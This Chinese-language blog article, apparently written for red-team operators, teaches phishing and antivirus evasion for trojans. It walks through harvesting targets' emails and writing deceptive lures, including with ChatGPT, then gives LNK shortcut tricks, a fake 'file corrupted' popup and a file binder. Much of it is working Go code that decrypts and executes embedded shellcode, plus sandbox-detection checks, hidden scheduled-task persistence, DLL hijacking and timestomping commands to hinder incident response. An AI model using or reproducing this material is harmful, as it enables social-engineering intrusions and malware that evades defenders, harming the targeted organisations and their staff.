钓鱼手法及木马免杀技巧

简述

钓鱼是攻防对抗中一种常用的手段,攻击者通常伪装成可信任的实体,例如合法的机构、公司或个人,以引诱受害者揭示敏感信息或执行恶意操作,能快速地撕破目标的伤口进行深入利用,快速进内网进行刷分,投递木马同时需要考虑逃避杀毒软件检测,本篇文章将围绕一些常见的钓鱼手法和木马免杀对抗展开

信息搜集

大批量邮箱搜集

大批量邮箱搜集可通过

https://app.snov.io/

http://www.skymem.info/

搜索引擎

但一般来说,企业邮箱都存在邮服网关,邮件很难投递,所以我们要选择私人邮箱或不被邮服拦截的邮箱

比如说 xx举报,xx招聘面对大众的邮箱,相关语法:

site:"xxx.com"  举报
site:"xxx.com"  招聘

xx公司举报 @126.com
xx公司招聘 @qq.com
钓鱼手法及木马免杀技巧

钓鱼手法

社工钓鱼

1、首先是目标选择,目标群体:hr、经理、财务 等安全意识薄弱的人优先选择,避开信息安全部

2、选择目标公司分部进行钓鱼成功率较高,前期提前想好话术和应变对策,避免被识破

2、社牛的师傅可以尝试电话钓鱼,获取信任再添加微信发送木马(需要过人的心理素质和应变能力,之前从潘高工身上学到很多)

邮件钓鱼

1、群发邮件(不推荐,易被管理员发现或被邮件网关拦截)

2、搜集关键人物个人邮箱定向投递(推荐,隐蔽性强)

福利补贴发放

紧贴时事话题,使用各种福利活动吸引目标用户点击,把钓鱼链接转为二维码发送

钓鱼手法及木马免杀技巧
钓鱼手法及木马免杀技巧

简历投递

钓鱼手法及木马免杀技巧

钓鱼文案不会写?没关系,能自动生成就不要手打,这里必须给我们的 chatgpt 大哥加鸡腿

钓鱼手法及木马免杀技巧

举报信

钓鱼手法及木马免杀技巧

钓鱼文件伪装

通用技巧

1、木马需要打压缩,添加密码并隐藏内容,或对木马文件进行双重压缩,一定程度绕过邮件网关的检测

2、选择不常见的后缀但仍可作为 exe 执行,如 scr、com 等

3、文件名使用长命名,如果对方文件显示设置不当,预览时候看不到后缀

lnk 钓鱼

如果得知目标单位使用的不是 360 天擎这类杀软,可使用 lnk 文件进行钓鱼(360 会拦截)

快捷方式目标位置填入:

%windir%system32cmd.exe /c start ..__MACOS__.__MACOS__.__MACOS__.__MACOS1__xxx.doc && C:Windowsexplorer.exe "..__MACOS__.__MACOS__.__MACOS__.__MACOS1__fsx.exe"

钓鱼手法及木马免杀技巧

图标更换路径选择:

C:Program Files (x86)MicrosoftEdgeApplication
%SystemRoot%System32imageres.dll
%SystemRoot%System32shell32.dll
钓鱼手法及木马免杀技巧

弹框错误提示

运行 msgbox 提示 “文件已损坏” 等具有迷惑性的内容

vbs 实现

On Error Resume Next
WScript.Sleep 2000
msgbox "当前文件已损坏,请更换工具进行打开",64,"提示" 

go 代码实现

package main

import (
	"github.com/gen2brain/dlgs"
)

func box() {
    _, err := dlgs.Info("提示", "当前文件已损坏,请更换工具进行打开")
  if err != nil {
    panic(err)
  }
}

实现效果

钓鱼手法及木马免杀技巧

文件捆绑器

绑定正常文件和恶意木马,运行后会对 exe 本身进行自删除,然后在当前目录下释放正常文件并打开,并释放木马至 C:UsersPublicVideos 目录下运行

  • 1.1 版本 bypass 常规杀软 (360、def、火绒等)
  • 1.2 版本 新增文件释放后自动隐藏
钓鱼手法及木马免杀技巧

效果实现

钓鱼手法及木马免杀技巧

常见杀软类型

杀软类型杀软特点
火绒编译参数限制多,对 hash 和字符串特征进行识别,静态能过动态基本不查杀,对部分 go 库调用报毒
360单 360 查杀力不高,装了杀毒后直接儿子变爸爸,查杀力大大提升,杀毒会自动上传样本,容易上线后云查杀过一会掉线,推荐使用分离加载方式,并使用反沙箱的代码延长马子时间
360 核晶开启后对整体查杀性能影响不大,避免使用进程注入的方式加载 shellcode,执行命令使用 bof 插件进行替代
Defender新增 cobaltstrike 规则,推荐使用 Stageless,免杀性比 Stage 好,4.5 版本开启 sleep_mask 参数增强免杀性,对体积大的文件查杀度不高

基础的加载方式

以下只是基础的示例,仅仅实现加密解密加载的功能

先使用 python 脚本进行加密 payload.c 文件

import base64

originalShellcode = b"xfcxe8x89x00"
encryptedShellcode = bytes([byte ^ 0xFF for byte in originalShellcode])
encodedShellcode = base64.b64encode(encryptedShellcode).decode('utf-8')

print(encodedShellcode)
钓鱼手法及木马免杀技巧

输出的内容填入 encryptedShellcode 进行编译

package main

import (
  "encoding/base64"
  "syscall"
  "unsafe"

  "golang.org/x/sys/windows"
)

func main() {
  
  encryptedShellcode := "A7d8Gw8XN////76uvq+trqm3zi2at3Stn7d0ree3dK3ft3SNr7fwSLW1ss42t84/U8Oeg/3T374+NvK+/j4dEq2+rrd0rd90vcO3/i+Zfofn9P2KjXR/d////7d6P4uYt/4vr3S357t0v9+2/i8cqbcANr50y3e3/imyzja3zj9Tvj428r7+Pscfig6z/LPb97rGLoonp7t0v9u2/i+ZvnTzt7t0v+O2/i++dPt3t/4vvqe+p6Gmpb6nvqa+pbd8E9++rQAfp76mpbd07RawAAAAopX/tkGIlpGWkZqL/76ptnYZs3YOvkWziNn4ACq3zja3zi2yzj+yzja+r76vvkXFqYZYACoWbP///6W3dj6+R0T+//+yzja+rr6ulfy+rr5FqHZgOQAqFIakt3Y+t84ttnYnss42rZf/zT97ra2+RRSq0cQAKrd2Obd8PK+V9aC3dg5F4P///5X/l3/M//+2dh++Rvv///++RYq5YXkAKrd2Drd2JbY4PwAAAACyzjatrb5F0vnnhAAqej/wemL+//+3ADDwe3P+//8UTBYb/v//F30AAADQjJqRjJCNjNKSlpHRlYz/c+3E0xVwtP+ApVnzO+p1jev92qT3Uha95ujzW9R0pB+T1tLqz3M7T4bojcRBeYZAxqvqVklSBew8vF37KQhZaTk57QytHWW/zOlre6izwC1MyRZb/5Fhlm8hjll2IsYujj370H4XyT1gnmP++QQ9KXakAKrfONkX//7//vkf/7///vka/////vkWnW6waACq3bKyst3YYt3YOt3Ylvkf/3///tnYGvkXtaXYdACq3fDvfej+LSZl0+Lf+PHo/iiinp6e3+v////+vPBeAAgAAjJqNiZacmtKUjY2QkJ6Ml9LOzM/IyM/Px87H0YyX0Z6PlpiI0YuakZyakYucjNGckJL/+goe/w=="
   // 通过 base64 和 XOR 解密 shellcode 内容 
  decodedShellcode, _ := base64.StdEncoding.DecodeString(encryptedShellcode)
  for i := 0; i < len(decodedShellcode); i++ {
    decodedShellcode[i] ^= 0xFF
  }

  // 获取 kernel32.dll 中的 VirtualAlloc 函数
  kernel32, _ := syscall.LoadDLL("kernel32.dll")
  VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

  // 分配内存并写入 shellcode 内容
  allocSize := uintptr(len(decodedShellcode))
  mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
  if mem == 0 {
    panic("VirtualAlloc failed")
  }
  buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
  copy(buffer, decodedShellcode)

  // 执行 shellcode
  syscall.Syscall(mem, 0, 0, 0, 0)
}

通用杀软 bypass 技巧

1、免杀性优先选择远程加载或文件分离加载,但同时也存在一些缺点,前者可能会被溯源或被安全设备封堵 url 地址,后者需要两个文件更适合维权使用

2、垃圾代码填充,在加载 shellcode 前先进行无害化操作,干扰沙箱和杀软的判断,或者通过延时执行或增大程序体积一定几率绕过检测

3、选择小众语⾔来编写制作 loader 特征较少,工具除了 CS 也可使用 vshell 等其他自写 C2

一键生成免杀

臭不要脸的我又来安利一波 github 项目,咳咳,觉得还可以的师傅可以点个 star⭐

免杀大师王超攻魔改之作 https://github.com/wangfly-me/LoaderFly

千机 – 红队免杀木马自动生成 https://github.com/Pizz33/Qianji

编译参数的影响

go:
-race   竞态检测编译
-ldflags '-s -w'   去除编译信息
-ldflags '-H windowsgui'   隐藏窗口

garble(混淆库):
-tiny                    删除额外信息
-literals               混淆文字
-seed=random   base64编码的随机种子

像下面一个例子,编译一个无害化的代码使用了 -literals 参数,360 仍觉得是恶意木马,不加则不报毒

package main

func main() {
	// 两个要相乘的数字
	num1 := 5
	num2 := 3

	result := 0

	// 使用for循环来进行乘法运算
	for i := 0; i < num2; i++ {
		result += num1
	}
}
钓鱼手法及木马免杀技巧

-H windowsgui 参数同样也会对免杀性产生很大影响,如果需要隐藏黑框可以用下面的代码替代(但是 win11 下仍有黑框)

package main

import "github.com/lxn/win"

func main(){
  win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
}
func box()int{
    FreeConsole := syscall.NewLazyDLL("kernel32.dll").NewProc("FreeConsole")
    FreeConsole.Call()
    return 0
}

func main() {
  box()

静态特征处理

混淆处理

go 低版本 https://github.com/boy-hack/go-strip

go 高版本 https://github.com/burrowers/garble

mangle 替换字符串

https://github.com/optiv/Mangle

Mangle.exe -I xxx.exe -M -O out.exe

mangle 处理前后对比,可发现对 go 编译特征字符串替换为随机字符

钓鱼手法及木马免杀技巧

base64 编码变量

cmd := exec.Command("rundll32.exe", "xxx")

关键字符串进行 Base64 编码,并在相应位置替换变量值

encodedCommand := "cnVuZGxsMzIuZXhl"
encodedArguments := "MTExTdGFydA=="

// 解码Base64编码的命令和参数
decodedCommand, _ := base64.StdEncoding.DecodeString(encodedCommand)
decodedArguments, _ := base64.StdEncoding.DecodeString(encodedArguments)

cmd := exec.Command(string(decodedCommand), string(decodedArguments))

QVM 绕过

添加资源

1、添加图标签名版权等信息内容,可使用以下项目一键添加

https://github.com/Pizz33/360QVM_bypass

https://github.com/S9MF/my_script_tools/tree/main/360QVM_bypass-public

https://github.com/langsasec/Sign-Sacker

钓鱼手法及木马免杀技巧
钓鱼手法及木马免杀技巧
钓鱼手法及木马免杀技巧

行为特征

运行直接加载 shellcode,一般会直接报 qvm

package main

import (
	"syscall"
	"unsafe"
)

var (
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

func main() {

	addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryt[0])), uintptr(len(decryt)))
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	syscall.Syscall(addr, 0, 0, 0, 0)
}
钓鱼手法及木马免杀技巧

先执行正常行为再进行 shellcode 加载,qvm 无报毒,以下是示例,可根据实际情况进行调整

package main

import (
	"syscall"
	"unsafe"
)

var (
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

func main() {
	num1 := 5
	num2 := 3

	result := 0

	// 使用for循环来进行乘法运算
	for i := 0; i < num2; i++ {
		result += num1
	}
	addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryt[0])), uintptr(len(decryt)))
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	syscall.Syscall(addr, 0, 0, 0, 0)
}

好用的反沙箱技巧

出口 IP 判断

func san() {
  url := "https://myip.ipip.net/"

  resp, err := http.Get(url)
  if err != nil {
    os.Exit(1)
  }
  defer resp.Body.Close()

  body, err := ioutil.ReadAll(resp.Body)
  if err != nil {
    os.Exit(1)
  }

  content := string(body)

  if strings.Contains(content, "中国") {
  } else {
    os.Exit(1)
  }
  }

检测桌面文件数量

func desktop() {
    desktopPath, err := os.UserHomeDir()
    if err != nil {
        fmt.Println("无法获取用户桌面路径:", err)
        return
    }

    desktopPath = filepath.Join(desktopPath, "Desktop")
    fileCount, err := countFilesInDir(desktopPath)
    if err != nil {
        fmt.Println("无法读取用户桌面文件列表:", err)
        return
    }

    fmt.Println("用户桌面文件数:", fileCount)

    if fileCount < 7 {
        os.Exit(0)
    }
    // 在这里编写你的其他代码逻辑
}

检测微信等常见软件

func CheckWeChatExist() {
  k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARETencentbugReportWechatWindows`, registry.QUERY_VALUE)
  if err != nil {
    os.Exit(0)
  }
  defer k.Close()

  s, _, err := k.GetStringValue("InstallDir")
  if err != nil || s == "" {
    os.Exit(0)
  }
}

检测 pagefile.sys

func sys() {
    pageFilePath := "C:\pagefile.sys" 
    _, err := os.Stat(pageFilePath)
    if os.IsNotExist(err) {
        os.Exit(1)
    } else if err != nil {
    } else {
    }
}

判断系统类型

func language() {
	language := os.Getenv("LANG")

	if strings.Contains(language, "en_US") {
		os.Exit(0)
	} else {
	}
}

内存流量处理

流量侧可通过云函数或者 CDN 进行伪装,配置可参考网上教程在这里不进行详述,相关项目可参考,但要注意 oss 权限设置避免被溯源

https://github.com/9bie/oss-stinger

https://github.com/pantom2077/alioss-stinger

自定义 profile,可使用以下项目随机生成

https://github.com/threatexpress/random_c2_profile

内存混淆,动态加解密 beacon 内存,重载 Ntdll 等技术,可参考下面文章

https://www.freebuf.com/articles/system/361161.html

https://idiotc4t.com/defense-evasion/load-ntdll-too

执行命令 bypass

直接通过 cs 执行截图,spawn 等敏感操作,容易导致 beacon 掉线,这时候可以使用 bof 替代,下面列举一些好用的

进程迁移 https://github.com/ajpc500/BOFs

截图 https://github.com/baiyies/ScreenshotBOFPlus

删除自身 https://github.com/AgeloVito/self_delete_bof

bypassuac 提权 https://github.com/youcannotseemeagain/ele

可以定期去 github 上关注一些好用的 bof

钓鱼手法及木马免杀技巧

权限维持

常规命令添加计划任务,注册表这里不过多叙述,网上命令教程有

添加计划任务

在攻防中,上线机器总是需要手动进行维权太过于麻烦,直接在代码加入上线自动添加计划任务,测试可以 bypass 常规杀软,关键代码如下

https://github.com/capnspacehook/taskmaster

package main

import (
	"os"
	"github.com/capnspacehook/taskmaster"
)

func runWinTask(path string) {
	// 创建初始化计划任务
	taskService, _ := taskmaster.Connect()

	defer taskService.Disconnect()
	// 定义新的计划任务
	newTaskDef := taskService.NewTaskDefinition()
	// 添加执行程序的路径
	newTaskDef.AddAction(taskmaster.ExecAction{
		Path: path,
	})
	// 定义计划任务程序的执行时间等,设置为开机启动
	newTaskDef.AddTrigger(taskmaster.BootTrigger{
		TaskTrigger: taskmaster.TaskTrigger{
			Enabled: enable,
		},
	})

	// 创建计划任务
	result, _, _ := taskService.CreateTask("\windows\update", newTaskDef, true)
	result=result
}

func main() {
	path, err := os.Executable()
	if err != nil {
		return
	}

	runWinTask(path)
}

隐藏计划任务

具体原理可参考 0x727 师傅的文章

https://github.com/0x727/SchTask_0x727

https://payloads.cn/2021/0805/advanced-windows-scheduled-tasks.html

  1. 选择主机随机进程名作为计划任务程序文件名
  2. 将计划任务程序文件复制到 %AppData%MicrosoftWindowsThemes 中
  3. 创建的计划任务名取同一随机进程名
  4. 计划任务触发器以分钟为单位,无限期持续
  5. 更改 Index、删除 SD 的键值,隐藏计划任务对应的 XML 文件

dll 劫持替换

比较常用的有 C:Program Files (x86)GoogleUpdate

当 GoogleUpdate.exe 程序运行的时候,会调用当前目录下的 goopdate.dll 文件

钓鱼手法及木马免杀技巧

单个查找

https://github.com/wietze/windows-dll-hijacking

钓鱼手法及木马免杀技巧

批量查找

https://github.com/knight0x07/ImpulsiveDLLHijack

ImpulsiveDLLHijack.exe -path xxx.exe

这里使用 navicat 进行测试,可见运行的时候会加载 C:UsersxxxAppDataLocalProgramsPythonPython38Scriptsoci.dll

钓鱼手法及木马免杀技巧
钓鱼手法及木马免杀技巧

修改文件时间

当我们上传 cs 木马至服务器的时候,由于修改日期是新的,蓝队人员很容易通过 everything 筛选时间排查应急

钓鱼手法及木马免杀技巧

这时候我们可以使用一些技巧进行隐藏

https://github.com/MsF-NTDLL/ChTimeStamp

通过这个项目实现修改文件时间,先看看预览效果

钓鱼手法及木马免杀技巧

net3.5 安装

查看net版本  
shell reg query "HKLMSoftwareMicrosoftNET Framework SetupNDP" /s /v version | findstr /i version | sort /+26 /r
需要安装net3.5 没有安装一下 
shell dism.exe /online /enable-feature /featurename:netfx3 /Source:C:UsershackDesktopdotnetfx35.exe
DISM /Online /Enable-Feature /All /FeatureName:NetFx3 /LimitAccess /Source:D:sourcessxs

https://github.com/MsF-NTDLL/ChTimeStamp

shell copy "C:Program FilesWindows DefenderMpClient.dll" C:UsersPublicAccountPicturesMpClient.dll
shell C:UsersPublicAccountPicturesChTimeStamp.exe C:UsersPublicAccountPicturesnew_msedge.exe C:UsersPublicAccountPicturesMpClient.dll
钓鱼手法及木马免杀技巧

https://github.com/sorabug/ChangeTimestamp

ChangeTimestamp.exe xxx.exe 2021-12-09 15:08:27
钓鱼手法及木马免杀技巧
© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容